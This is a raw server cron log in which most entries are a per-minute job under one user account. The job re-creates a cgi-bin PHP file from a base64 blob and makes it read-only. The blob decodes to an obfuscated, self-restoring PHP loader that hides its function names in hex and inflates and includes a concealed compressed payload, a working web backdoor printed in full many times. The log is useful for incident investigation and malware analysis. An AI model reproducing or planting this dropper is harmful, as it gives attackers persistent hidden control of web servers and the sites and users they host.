Apr  9 10:52:01 server CROND[26074]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:53:02 server CROND[26227]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:54:01 server CROND[26293]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:55:01 server CROND[26350]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 10:55:01 server CROND[26351]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 10:55:01 server CROND[26352]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:56:01 server CROND[26461]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:57:01 server CROND[26532]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:57:01 server CROND[26533]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 10:58:01 server CROND[26679]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 10:59:01 server CROND[26728]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:00:01 server CROND[26792]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 11:00:01 server CROND[26793]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 11:00:01 server CROND[26794]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:00:01 server CROND[26795]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 11:01:01 server CROND[26905]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:01:01 server CROND[26906]: (root) CMD (run-parts /etc/cron.hourly)
Apr  9 11:01:01 server run-parts(/etc/cron.hourly)[26906]: starting 0anacron
Apr  9 11:01:01 server run-parts(/etc/cron.hourly)[26918]: finished 0anacron
Apr  9 11:02:01 server CROND[26963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:03:01 server CROND[27115]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:04:01 server CROND[27179]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 11:05:01 server CROND[27236]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  9 11:05:01 server CROND[27237]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 11:05:01 server CROND[27238]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 11:05:01 server CROND[27239]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 11:05:01 server CROND[27240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg